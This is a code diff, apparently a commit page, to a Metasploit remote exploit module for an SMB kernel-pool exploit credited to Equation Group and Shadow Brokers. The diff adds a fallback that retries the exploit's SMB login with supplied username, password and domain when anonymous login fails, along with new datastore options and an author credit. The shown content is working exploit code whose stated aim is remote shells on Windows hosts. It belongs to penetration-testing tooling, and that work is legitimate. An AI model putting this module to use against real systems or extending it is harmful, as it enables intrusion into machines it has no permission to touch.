5
5
6
6
require 'ruby_smb'
7
7
require 'ruby_smb/smb1/packet'
8
+ require 'windows_error'
8
9
9
10
class MetasploitModule < Msf ::Exploit ::Remote
10
11
Rank = GoodRanking
@@ -27,13 +28,19 @@ def initialize(info = {})
27
28
This exploit, like the original may not trigger 100% of the time, and should be
28
29
run continuously until triggered. It seems like the pool will get hot streaks
29
30
and need a cool down period before the shells rain in again.
31
+
32
+ The module will attempt to use Anonymous login to authenticate to perform the
33
+ exploit. If Anonymous login fails and credentials have been supplied via the
34
+ SMBUser, SMBPass, and SMBDomain datastore options, then it will try the exploit
35
+ again with those credentials.
30
36
} ,
31
37
32
38
'Author' => [
33
39
'Sean Dillon <[email protected] >' , # @zerosum0x0
34
40
'Dylan Davis <[email protected] >' , # @jennamagius
35
41
'Equation Group' ,
36
- 'Shadow Brokers'
42
+ 'Shadow Brokers' ,
43
+ 'thelightcosine' # RubySMB refactor and Fallback Credential mode
37
44
] ,
38
45
'License' => MSF_LICENSE ,
39
46
'References' =>
@@ -85,7 +92,10 @@ def initialize(info = {})
85
92
OptInt . new ( 'GroomAllocations' , [ true , "Initial number of times to groom the kernel pool." , 12 ] ) ,
86
93
OptInt . new ( 'GroomDelta' , [ true , "The amount to increase the groom count by per try." , 5 ] ) ,
87
94
OptBool . new ( 'VerifyTarget' , [ true , "Check if remote OS matches exploit Target." , true ] ) ,
88
- OptBool . new ( 'VerifyArch' , [ true , "Check if remote architecture matches exploit Target." , true ] )
95
+ OptBool . new ( 'VerifyArch' , [ true , "Check if remote architecture matches exploit Target." , true ] ) ,
96
+ OptString . new ( 'SMBUser' , [ false , '(Fallback) The username to authenticate as' , '' ] ) ,
97
+ OptString . new ( 'SMBPass' , [ false , '(Fallback) The password for the specified username' , '' ] ) ,
98
+ OptString . new ( 'SMBDomain' , [ false , '(Fallback) The Windows domain to use for authentication' , '.' ] ) ,
89
99
] )
90
100
end
91
101
@@ -283,7 +293,27 @@ def smb1_anonymous_connect_ipc()
283
293
sock = connect ( false )
284
294
dispatcher = RubySMB ::Dispatcher ::Socket . new ( sock )
285
295
client = RubySMB ::Client . new ( dispatcher , smb1 : true , smb2 : false , username : '' , password : '' )
286
- client . login
296
+ response_code = client . login
297
+
298
+ unless response_code == ::WindowsError ::NTStatus ::STATUS_SUCCESS
299
+ if datastore [ 'SMBUser' ] . present? && datastore [ 'SMBPass' ] . present?
300
+ client = RubySMB ::Client . new (
301
+ dispatcher ,
302
+ smb1 : true ,
303
+ smb2 : false ,
304
+ username : datastore [ 'SMBUser' ] ,
305
+ password : datastore [ 'SMBPass' ] ,
306
+ domain : datastore [ 'SMBDomain' ]
307
+ )
308
+ response_code = client . login
309
+
310
+ unless response_code == ::WindowsError ::NTStatus ::STATUS_SUCCESS
311
+ raise RubySMB ::Error ::UnexpectedStatusCode , "Error with credentialed login: #{ response_code . to_s } "
312
+ end
313
+ else
314
+ raise RubySMB ::Error ::UnexpectedStatusCode , "Error with anonymous login: #{ response_code . to_s } "
315
+ end
316
+ end
287
317
os = client . peer_native_os
288
318
tree = client . tree_connect ( "\\ \\ #{ datastore [ 'RHOST' ] } \\ IPC$" )
289
319
0 commit comments